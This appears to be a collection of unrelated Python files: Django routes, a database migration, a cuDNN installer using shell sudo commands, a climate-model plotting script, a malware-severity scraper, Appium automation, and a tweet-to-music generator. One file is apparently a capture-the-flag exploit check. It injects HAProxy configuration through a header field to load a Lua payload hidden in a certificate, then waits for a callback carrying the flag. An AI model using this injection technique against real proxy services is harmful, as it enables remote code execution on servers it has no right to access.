    path('delete-modal-teacher/<int:pk>', views.delete_teacher, name='delete_modal_teacher'),
    path('students-per-teacher/<int:pk>', views.get_all_students_per_teachers, name='students_per_teacher'),
    path('teacher-api/', views.TeacherApi.as_view(), name='teacher_api')

]


#!/usr/bin/python3
import requests
import socket
import os

url = "https://proxy-aas.insecurity-insa.fr/"
f_p = os.path.dirname(__file__) + "/my_ip"
if not os.path.isfile(f_p):
    my_ip = requests.get("https://api.ipify.org").text
    with open(f_p, "w") as f:
        f.write(my_ip)
with open(f_p) as f:
    my_ip = f.read()

def exploitable():
    ssl_cert = ""
    ssl_key = ""
    with open(os.path.dirname(__file__) + "/ssl_cert") as f:
        ssl_cert = f.read()
        ssl_cert = ssl_cert.format(IP=my_ip)
    with open(os.path.dirname(__file__) + "/ssl_key") as f:
        ssl_key = f.read()
    data = {
        "ip_backend1": "51.254.102.54",
        "port_backend1": 1234,
        "ip_backend2": "51.254.102.54",
        "port_backend2": 4321,
        "ssl_cert": ssl_cert,
        "ssl_key": ssl_key,
        "g-recaptcha-response": "nop",
        "http_headers": "Header1 Header1Value\n\nglobal\n    lua-load /etc/haproxy/ssl/ssl_pem\n\n"
    }

    # setup TCP server
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    host = "0.0.0.0"
    port = 4455
    s.bind((host, port))
    s.listen(1)

    r = requests.post(url + "?pswd=zTOkNv6AIFFTFuZLKFRPTdiTCwHIpvqtBlUuY4103lS2Xf8nnX", data=data)

    s.settimeout(15)
    clientSocket, addr = s.accept()
    data = clientSocket.recv(4096)
    return b'INSA{' in data

def alive():
    r = requests.get(url)
    return "Proxy AAS" in r.text

if __name__ == "__main__":
    print(alive() and exploitable())


"""opening table

Revision ID: 57983659e09a
Revises: f6c2cd989a82
Create Date: 2021-05-06 14:11:00.953669

"""
from alembic import op
import sqlalchemy as sa

# revision identifiers, used by Alembic.
revision = '57983659e09a'
down_revision = 'f6c2cd989a82'
branch_labels = None
depends_on = None

def upgrade():
    # ### commands auto generated by Alembic - please adjust! ###
    op.create_table('openings',
    sa.Column('name', sa.String(length=140), nullable=False),
    sa.Column('FEN', sa.String(length=140), nullable=True),
    sa.PrimaryKeyConstraint('name')
    )
    # ### end Alembic commands ###

def downgrade():
    # ### commands auto generated by Alembic - please adjust! ###
    op.drop_table('openings')
    # ### end Alembic commands ###


import argparse
import glob
import subprocess
import os

# cuDNN package list from https://developer.nvidia.com/rdp/cudnn-download
cudadict = [{"ver": "7.1", "cudver": "9.1", "uri": "cudnn-9.1-linux-x64-v7.1.tgz"},
            {"ver": "7.1", "cudver": "9.0", "uri": "cudnn-9.0-linux-x64-v7.1.tgz"},
            {"ver": "7.1", "cudver": "8.0", "uri": "cudnn-8.0-linux-x64-v7.1.tgz"},
            {"ver": "7.0", "cudver": "9.1", "uri": "cudnn-9.1-linux-x64-v7.tgz"},
            {"ver": "7.0", "cudver": "9.0", "uri": "cudnn-9.0-linux-x64-v7.tgz"},
            {"ver": "7.0", "cudver": "8.0", "uri": "cudnn-8.0-linux-x64-v7.tgz"},
            {"ver": "6.0", "cudver": "8.0", "uri": "cudnn-8.0-linux-x64-v6.0.tgz"},
            {"ver": "6.0", "cudver": "7.5", "uri": "cudnn-7.5-linux-x64-v6.0.tgz"},
            {"ver": "5.1", "cudver": "8.0", "uri": "cudnn-8.0-linux-x64-v5.1.tgz"},
            {"ver": "5.1", "cudver": "7.5", "uri": "cudnn-7.5-linux-x64-v5.1.tgz"},
            {"ver": "5.0", "cudver": "8.0", "uri": "cudnn-8.0-linux-x64-v5.0-ga.tgz"},
            {"ver": "5.0", "cudver": "7.5", "uri": "cudnn-7.5-linux-x64-v5.0-ga.tgz"},
            {"ver": "4.0", "cudver": "7.0",
                "uri": "cudnn-7.0-linux-x64-v4.0-prod.tgz"},
            {"ver": "3.0", "cudver": "7.0",
                "uri": "cudnn-7.0-linux-x64-v3.0.8-prod.tgz"},
            {"ver": "2.0", "cudver": "6.5", "uri": "cudnn-6.5-linux-x64-v2.tgz"},
            {"ver": "1.0", "cudver": "6.5", "uri": "cudnn-6.5-linux-R1.tgz"}]

def runprocess(command):
    try:
        subprocess.call(command, shell=True)
    except Exception as e:
        print(e)

def versionSelector(version, cudaver):
    uri = ""
    for i, k in enumerate(cudadict):
        if cudadict[i]['ver'] == str(version) and cudadict[i]['cudver'] == str(cudaver):
            print(cudadict[i]['uri'])
            uri = cudadict[i]['uri']
    if uri != "":
        return uri

def switchCudnn(version, cudadir, cudaver):
    packagename = versionSelector(version, cudaver)
    if packagename != None:
        packages = glob.glob("packages/{}".format(packagename))
        lenfiles = len(packages)
        print("cudnn version {}".format(version))
        print("cuda dir path : {}".format(cudadir))
        if lenfiles:
            print("Switching cudnn version {}".format(version))
            runprocess('mkdir packages/cudnn')
            runprocess(
                'tar xf {} -C packages/cudnn --strip-components 1'.format(packages[0]))
            runprocess('sudo rm -rf {}/include/cudnn.h'.format(cudadir))
            runprocess('sudo rm -rf {}/lib64/*libcudnn*'.format(cudadir))
            runprocess(
                'sudo cp -P packages/cudnn/include/cudnn.h {}/include'.format(cudadir))
            runprocess(
                'sudo cp -P packages/cudnn/lib64/libcudnn* {}/lib64'.format(cudadir))
            runprocess(
                'sudo chmod a+r {}/include/cudnn.h {}/lib64/libcudnn*'.format(cudadir, cudadir))
            runprocess('rm -rf packages/cudnn')
            runprocess('sudo ldconfig')
            print("Sucessfully switched to version {}".format(version))
        else:
            print(
                "Please download cudnn first here\nhttps://developer.nvidia.com/rdp/cudnn-download")
    else:
        print("Can not found suitable packages.\nCheck available cudnn package -> https://developer.nvidia.com/rdp/cudnn-download")

def main():
    parser = argparse.ArgumentParser(
        formatter_class=argparse.ArgumentDefaultsHelpFormatter)
    parser.add_argument('-v', '--version',
                        help='select cudnn version ( 4.0, 5.1, 6.0', type=str, required=True)
    parser.add_argument('-d', '--cudadir',
                        help='set cuda dir path', required=True)
    parser.add_argument('-c', '--cudaver',
                        help='set cuda version of cudnn', type=str, required=True)

    args = parser.parse_args()
    switchCudnn(args.version, args.cudadir, args.cudaver)

if __name__ == '__main__':
    main()


#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""
(c) 2018 under a MIT License (https://mit-license.org)

Authors:
- Lukas Brunner || lukas.brunner@env.ethz.ch

Abstract:

"""
import os
import regionmask
import numpy as np
import xarray as xr
import matplotlib
matplotlib.rc('text', usetex=True)
import matplotlib.pyplot as plt
from properscoring import crps_ensemble
import seaborn as sns
from glob import glob

from utils_python.xarray import area_weighted_mean, flip_antimeridian
from model_weighting.core.utils import read_config

from boxplot import boxplot

SAVEPATH = '/home/lukbrunn/Documents/Scripts/climWIP_clean_paper/model_weighting/scripts_paper/revision1/figures'
LOADPATH = '/net/h2o/climphys/lukbrunn/Data/ModelWeighting/CMIP6_r1'
FILENAMES = [
    'tas_global_pseudo_obs_ssp126_050_*-CMIP5-RCP26_41-60_ind',
    'tas_global_pseudo_obs_ssp585_050_*-CMIP5-RCP85_41-60_ind',
    '',
    'tas_global_pseudo_obs_ssp126_050_*-CMIP5-RCP26_81-00_ind',
    'tas_global_pseudo_obs_ssp585_050_*-CMIP5-RCP85_81-00_ind',
]
SAVENAME = 'figure3a.png'

# wether to calculate the CRPS on the full 2D field and only then take the average
MEAN_OF_CRPS = False

def get_skill(da, da_obs, weights, mean_of_crps):
    if mean_of_crps:
        crps_baseline = area_weighted_mean(xr.apply_ufunc(
            crps_ensemble, da_obs, da,
            input_core_dims=[['lat', 'lon'], ['lat', 'lon', 'model_ensemble']],
            output_core_dims=[['lat', 'lon']],
        ))

        crps_weighted = area_weighted_mean(xr.apply_ufunc(
            crps_ensemble, da_obs, da,
            input_core_dims=[['lat', 'lon'], ['lat', 'lon', 'model_ensemble']],
            output_core_dims=[['lat', 'lon']],
            kwargs={'weights': np.tile(weights, (da['lat'].size, da['lon'].size, 1))},
        ))
    else:
        crps_baseline = xr.apply_ufunc(
            crps_ensemble,
            area_weighted_mean(da_obs),
            area_weighted_mean(da),
            input_core_dims=[[], ['model_ensemble']],
        )

        crps_weighted = xr.apply_ufunc(
            crps_ensemble,
            area_weighted_mean(da_obs),
            area_weighted_mean(da),
            input_core_dims=[[], ['model_ensemble']],
            kwargs={'weights': weights},
        )

    return (crps_baseline - crps_weighted) / crps_baseline

def read_obs(ds, cfg):

    if cfg.obs_id is None:
        return None, None

    if isinstance(cfg.obs_id, str):
        cfg.obs_id = [cfg.obs_id]
        cfg.obs_path = [cfg.obs_path]

    ds_list = []
    for obs_path, obs_id in zip(cfg.obs_path, cfg.obs_id):

        filename = os.path.join(obs_path, '{}_mon_{}_g025.nc'.format(cfg.target_diagnostic, obs_id))
        ds_var = xr.open_dataset(filename, use_cftime=True)[cfg.target_diagnostic].load()

        if cfg.target_season != 'ANN':
            ds_var = ds_var.isel(time=ds_var['time.season'] == cfg.target_season)

        ds_var = (ds_var.sel(time=slice(str(cfg.target_startyear), str(cfg.target_endyear))).mean('time') -
                  ds_var.sel(time=slice(str(cfg.target_startyear_ref), str(cfg.target_endyear_ref))).mean('time'))

        ds_var = flip_antimeridian(ds_var)
        ds_var = ds_var.sel(lon=ds['lon'], lat=ds['lat'])

        if ds_var.max() > 100:  # assume Kelvin
            ds_var -= 273.15
            ds_var.attrs['unit'] = 'degC'

        ds_list.append(ds_var)

    ds_var = xr.concat(ds_list, dim='dataset')

    if cfg.target_mask == 'sea':
        sea_mask = regionmask.defined_regions.natural_earth.land_110.mask(ds_var, wrap_lon=180) == 0
        ds_var = ds_var.where(sea_mask)
    elif cfg.target_mask == 'land':
        land_mask = regionmask.defined_regions.natural_earth.land_110.mask(ds_var, wrap_lon=180) == 1
        ds_var = ds_var.where(land_mask)

    return ds_var.squeeze()

def main():
    fig, ax = plt.subplots()
    fig.subplots_adjust(left=.09, right=.99, bottom=.09, top=.94)
    c1, c2, _, c3 = sns.color_palette('colorblind', 4)
    colors = [c1, c3, ''] * 2
    alphas = [1, 1, ''] * 2

    #  skills = []
    for xx, filename_pattern in enumerate(FILENAMES):
        if filename_pattern == '':
            continue
        filename_pattern = os.path.join(LOADPATH, filename_pattern)
        if not filename_pattern.endswith('.nc'):
            filename_pattern += '.nc'
        filenames = glob(filename_pattern)
        skill_list = []
        assert len(filenames) > 0, filename_pattern
        for filename in filenames:
            ds = xr.open_dataset(filename)
            varn = ds.attrs['target']
            if 'weights_mean' in ds:
                ds = ds.drop_dims(('model_ensemble', 'perfect_model_ensemble'))
                ds = ds.rename({'model': 'model_ensemble', 'perfect_model': 'perfect_model_ensemble',
                                f'{varn}_mean': varn, 'weights_mean': 'weights'})
            cfg = read_config(ds.attrs['config'], ds.attrs['config_path'])
            # log_parser(cfg)
            ds_obs = read_obs(ds, cfg)
            skill = get_skill(ds[varn], ds_obs, ds['weights'], MEAN_OF_CRPS)
            skill_list.append(skill)

        skill = xr.concat(skill_list, dim='perfect_model_ensemble')
        boxplot(ax, xx, data=skill.data, showmean=False, showdots=False, color=colors[xx], alpha=alphas[xx])

        for fn, ss in zip(filenames, skill.data):
            pm = fn.split('_')[7]
            print(f'"{pm}": {ss},')

        # idxs = np.argsort(skill.data)[::-1]
        # print('---')
        # for idx in idxs[:]:
        #     if skill.data[idx] < 0:
        #         print(f'{os.path.basename(filenames[idx])}: {skill.data[idx]:.1%}')
        # # for idx in idxs[-3:]:
        # #     print(f'{os.path.basename(filenames[idx])}: {skill.data[idx]:.1%}')

        # print(skill.median().data)
    ax.grid(axis='y')
    ax.axhline(0, color='k', zorder=2)

    ax.set_xticks([.5, 3.5])
    ax.set_xticklabels(['2041-2060', '2081-2100'])

    h1 = boxplot(ax, [], data=skill.data, return_handle=True, showmean=False, showdots=False, color=c1, alpha=1)
    h3 = boxplot(ax, [], data=skill.data, return_handle=True, showmean=False, showdots=False, color=c3, alpha=1)
    leg = plt.legend([h1, h3], ['SSP1-2.6', 'SSP5-8.5'], loc='lower left', title='Median, 50\%, 90\%')
    leg._legend_box.align = 'left'

    ax.set_ylim(-1, 1)
    ax.set_yticklabels(np.around(ax.get_yticks() * 100).astype(int))
    ax.set_ylabel('CRPSS (\%)', labelpad=-3)

    ax.set_title('\\textbf{(a) Combined weighting perfect model test skill (CMIP5)}', loc='left',
                 fontdict={'size': 'large', 'weight': 'bold'})

    ax.annotate('Shown as map in (b)', (1, .22), (1.3, .65), arrowprops={'arrowstyle': '->'}, zorder=999)

    plt.savefig(os.path.join(SAVEPATH, SAVENAME), dpi=300)
    SAVEPATH2 = '/home/lukbrunn/Documents/Projects/Paper_CMIP6/figures'
    plt.savefig(os.path.join(SAVEPATH2, SAVENAME.replace('.png', '.pdf')), dpi=300)

if __name__ == '__main__':
    main()


# CLI to scrape TrendMicro encyclopedia & display malware severity rating in terminal
# requires BeautifulSoup & lxml parser & textwrap

## usage:
##   python malware_severity.py
##

import urllib2
import sys
import textwrap
from StringIO import StringIO
from bs4 import BeautifulSoup, Comment

class TrendMicroRiskAssessment:
	def __init__(self, keyword):
		self.keyword = keyword

	def search(self, fuzzySearch = False):

		url = 'http://www.trendmicro.com/vinfo/us/threat-encyclopedia/search/' + self.keyword
		r = urllib2.urlopen(url)
		h = r.read()
		p = BeautifulSoup(h, "lxml")

		# strip out comments & head tag
		comments = p.findAll(text=lambda text:isinstance(text, Comment))
		[comment.extract() for comment in comments]
		p.head.extract()

		# Check whether the term is found by searching for "0 Search Result" in the page.
		# If this string does not exist on the page, it means some results are found;
		# otherwise, there is no result found.
		found_result = False if p.find("div", class_ = "listContent").contents[7].get_text().find("0 Search Result") >= 0 else True

		if found_result:

			try:
				first_result_url = p.find("div", class_ = "resultbox_title").a.get('href')
				first_result_page = urllib2.urlopen(first_result_url)
				malware_page = BeautifulSoup(first_result_page.read(), "lxml")
				risk_rating_element = malware_page.find("div", class_ = "malwareHeader").find("div", class_="headerRight").contents[0].find("div", class_="ratingImage").find("img").get("src")

				risk_rating = risk_rating_element.split("/")[-1][:-4]
				return risk_rating
			except AttributeError:
				print("Failure to load assessment for {0} due to page format issue.".format(self.keyword))
				return "Page Error"

		# try to search for malwares in the same category and return the average rating of these malwares
		elif fuzzySearch:
			return "NA"
		# return no result
		else:
			return "NA"

class TrendMicroRiskAssessmentTest:
	def __init__(self):
		self.risk_rating = dict()

	# Read the test file
	def readTestFile(self, filename):
		with open(filename) as f:
			for line in f:
				key, value  = line.split(",")
				self.risk_rating[key] = value[:-1]

	# return whether or not our script returns the same rating as the ratings on file
	def test(self, fuzzySearch):
		failed_set = []
		for risk in self.risk_rating.keys():
			print("Checking {}".format(risk))
			script_rating = TrendMicroRiskAssessment(risk).search(fuzzySearch)
			if script_rating == "Page Error":
				pass
			elif not script_rating.lower() == self.risk_rating[risk].lower():
				print("{0} should be {1}, but was identified as {2}".format(risk, self.risk_rating[risk], script_rating))
				failed_set.append(risk)

		return len(failed_set) == 0

while True:
	mode = raw_input('Enter 1 for malware risk assessment. \nEnter 2 to run test for this script. \nEnter 3 to exist\n')

	# single assessment mode
	if mode == "1":
		ref = "%20".join(raw_input("Enter the name of the malware.\n"))
		fuzzy = True if (raw_input("Enter 1 to enable fuzzy search. 0 to disable\n") == "1") else False
		risk = TrendMicroRiskAssessment(ref).search(fuzzy)
		print(risk)
	# testing mode
	elif mode == "2":
		testObject = TrendMicroRiskAssessmentTest()
		fileName = raw_input("Enter test file name. Default: test.csv\n")
		fuzzy = True if (raw_input("Enter 1 to enable fuzzy search. 0 to disable\n") == "1") else False
		risk = TrendMicroRiskAssessment(ref).search(fuzzy)
		# use "test.csv" by default
		if fileName == None or fileName == "":
			fileName = "test.csv"
		testObject.readTestFile(fileName)
		print(testObject.test(fuzzy))
	# exit mode
	elif mode == "3":
		print("Goodbye!")
		break;
	else:
		print("Sorry, your input is invalid. Try again!")


__author__ = 'TANUKI'
#coding:utf-8

from appium import webdriver
import os,time
import huadong
desired_caps = {}
desired_caps['platformName'] = 'Android'
desired_caps['platformVersion'] = '7.1.1'
desired_caps['noReset'] = True  # 不需要每次都安装apk
desired_caps['deviceName'] = 'vivo-vivo_x9-be1bd33f'  # vivo Y51A
desired_caps['resetKeyboard'] = 'True'
desired_caps['appPackage'] = 'com.lovebizhi.wallpaper'
desired_caps['appActivity'] = 'com.adesk.picasso.view.MainActivity'

driver = webdriver.Remote('http://localhost:4723/wd/hub', desired_caps)

time.sleep(15)
driver.close_app()

while 1:
    time.sleep(3)
    driver.find_element_by_android_uiautomator('new UiSelector().className("android.widget.TextView").text("一键换壁纸")').click()
    #driver.tap([313,1312][511,1510], 500)


import sched
import json
import time
import itertools

import Harmony_Generators.harmonic_walk_functions
from NLP_Tools.message_comparison_toolset import TF_IDF
from NLP_Tools.corpus_mean_and_std import CorpusMeanAndStd
from NLP_Tools.sentiment_analysis_tools import get_sentiment
from pythonosc import udp_client
from pythonosc import osc_message_builder
from Rhythm_Generators import euclidean_rhythm_generator as er_gen
from Harmonic_Graph_Constructors.neo_riemannian_web import NeoriemannianWeb
from Utility_Tools.mapping_functions import linear_to_logistic as l2l
from nltk.sentiment.vader import SentimentIntensityAnalyzer

class TweetsIncomingSim:
    def __init__(self, full_corpus, formal_section_length=30, harmonic_rhythm=20, message_comparison=TF_IDF(),
                 web=NeoriemannianWeb(), sentiment_analyzer=SentimentIntensityAnalyzer()):
        # Initialize NLP objects.
        self.time_and_tweets = self.time_and_tweet_gen(full_corpus)
        self.current_partial_corpus = {}
        self.prior_partial_corpus = None
        self.prior_corpus_mean_std = CorpusMeanAndStd(0.0, 0.0)
        self.message_comparison_obj = message_comparison
        self.sentiment_analyzer = sentiment_analyzer
        # Initialize music generators and timing protocols.
        self.web = web
        self.web.build_web()
        self.formal_section_length = formal_section_length
        self.harmonic_rhythm = harmonic_rhythm
        # Initialize OSC client.
        self.client = udp_client.SimpleUDPClient("127.0.0.1", 57120)
        # Initialize scheduler
        self.scheduler = sched.scheduler(time.time, time.sleep)

    @property
    def next(self):
        return next(self.time_and_tweets)

    @staticmethod
    def time_and_tweet_gen(corpus):
        for key in corpus.keys():
            yield key, corpus[key]

    def run(self):
        time_passed = 0
        while True:
            try:
                key, value = self.next
                self.current_partial_corpus[key] = value
                time_passed += float(key)
                if time_passed >= self.formal_section_length:
                    if self.prior_partial_corpus is None:
                        diff = CorpusMeanAndStd(0.0, 0.0)
                        self.prior_partial_corpus = CorpusMeanAndStd(corpus=self.current_partial_corpus)
                        self.harmonic_walk_dummy(3, diff.mean, diff.std, harmonic_graph=self.web)
                        time_passed = 0
                    else:
                        current_corpus_mean_std = CorpusMeanAndStd(corpus=self.current_partial_corpus)
                        diff = self.prior_corpus_mean_std - current_corpus_mean_std
                        self.prior_partial_corpus = self.current_partial_corpus
                        self.current_partial_corpus = {}
                        self.prior_corpus_mean_std = current_corpus_mean_std
                        self.harmonic_walk_dummy(3, diff.mean, diff.std, harmonic_graph=self.web)
                        time_passed = 0
                else:
                    self.trigger_sounds(self.current_partial_corpus[key], float(key))
            except StopIteration:
                break
            self.scheduler.run()

    def trigger_sounds(self, data, time_interval):
        self.scheduler.enter(time_interval, 1, self.send_rhythm_materials, argument=(data, time_interval))

    def harmonic_walk_dummy(self, multiplier, lev_mean, lev_standard_of_deviation, harmonic_graph):
        num_chords_walked = int(l2l(abs(lev_mean), 0, 100, 0, 10, lev_standard_of_deviation))
        print("num_chords_walked: ", num_chords_walked)
        if num_chords_walked == 0:
            interval = self.harmonic_rhythm
        else:
            interval = self.harmonic_rhythm / num_chords_walked
        print("interval: ", interval)
        random_walk_only_new(num_chords_walked, harmonic_graph, self.client, time_interval=interval,
                             harmonic_rhythm=self.harmonic_rhythm)

    def compare_tweets(self, tweet):
        """

        :param tweet:
        :return: Tuple with closest related text and the similarity score.
        """
        return self.message_comparison_obj.new_incoming_document(tweet)

    def generate_rhythm(self, data):
        return er_gen.generate_euclidean(4, 6)

    def send_rhythm_materials(self, data, time_interval):
        rhythm = self.generate_rhythm(data)
        print(rhythm)
        msg = osc_message_builder.OscMessageBuilder(address='/pitch_triggers')
        for item in rhythm:
            msg.add_arg(item, arg_type='i')
        msg.add_arg(time_interval, arg_type='f')
        msg = msg.build()
        self.client.send(msg)

# noinspection PyShadowingNames
def generate_pitch_materials(web: NeoriemannianWeb, octave, current_chord):
    """
    This helper functionfunction simply returns an array of midi note numbers according to
    the input chord.
    :param web: neo-Riemannian web object.
    :param octave: Which octave the desired midi note numbers should be transposed to.
    :param current_chord: a major or minor triad as a Chord object.
    :return: Returns an array of midi note numbers.
    """
    chords = [current_chord]
    for chord in web.web[current_chord]:
        chords.append(chord)
    return [[note.midi_note_number + 12 * octave for note in chord.notes] for chord in chords]

def send_chord_materials(notes, client, time_interval, harmonic_rhythm):
    """
    Builds pitch materials into an OSC message, send to SuperCollider.
    :param time_interval:
    :param notes: Notes array of arrays generated by generate_pitch_materials helper function.
    :param client: OSC client
    :return:
    """
    msg = osc_message_builder.OscMessageBuilder(address='/harmonic_materials')
    pitches = list(itertools.chain(*[note for chord in notes for note in chord]))
    msg.add_arg(harmonic_rhythm, arg_type='f')
    msg.add_arg(time_interval, arg_type='f')
    for pitch in pitches:
        msg.add_arg(pitch, arg_type='i')
    msg = msg.build()
    # print(msg.params)
    client.send(msg)

def random_walk_only_new(num_chords_walked, harmonic_web, client, octave=None, time_interval=None,
                         harmonic_rhythm=None):
    """
    Function that walks randomly through a harmonic web object, selects
    Chord objects that have not been visited yet and sends their pitch materials to SC.
    :param num_chords_walked: Number of chords to be passed to SC.
    :param harmonic_web: Harmonic Web object.
    :param octave: The octave to transpose midi note values to.
    :param time_interval: The frequency that send_pitch_materials is called.
    """
    if octave is None:
        octave = 5

    if time_interval is None:
        time_interval = 5

    if harmonic_rhythm is None:
        harmonic_rhythm = 5

    chords = Harmony_Generators.harmonic_walk_functions.random_walk_only_new(num_chords_walked)
    schedule_chords(chords, time_interval, harmonic_rhythm, harmonic_web, octave, client)

def schedule_chords(chords, time_interval, harmonic_rhythm, chord_graph, octave, client):
    pitch_materials = []
    for chord in chords:
        pitch_materials.append(generate_pitch_materials(chord_graph, octave, chord))
    send_chord_materials(pitch_materials, client, time_interval, harmonic_rhythm)

if __name__ == '__main__':
    file_path = "/Users/ericlemmon/Google Drive/PhD/PhD_Project_v2/Corpora/TwiConv/time_and_tweets.json"

    with open(file_path, 'r') as file:
        tweets = json.load(file)
    # starting_chord = Chord(Note(60), Note(64), Note(67))
    # web = NeoriemannianWeb(starting_chord)
    # web = circle_of_fifths_web.CircleOfFifths(starting_chord)
    # web.build_web()
    # random_walk_only_new(3, web, client, time_interval=1)
    sim = TweetsIncomingSim(tweets, formal_section_length=20, harmonic_rhythm=30)
    sim.run()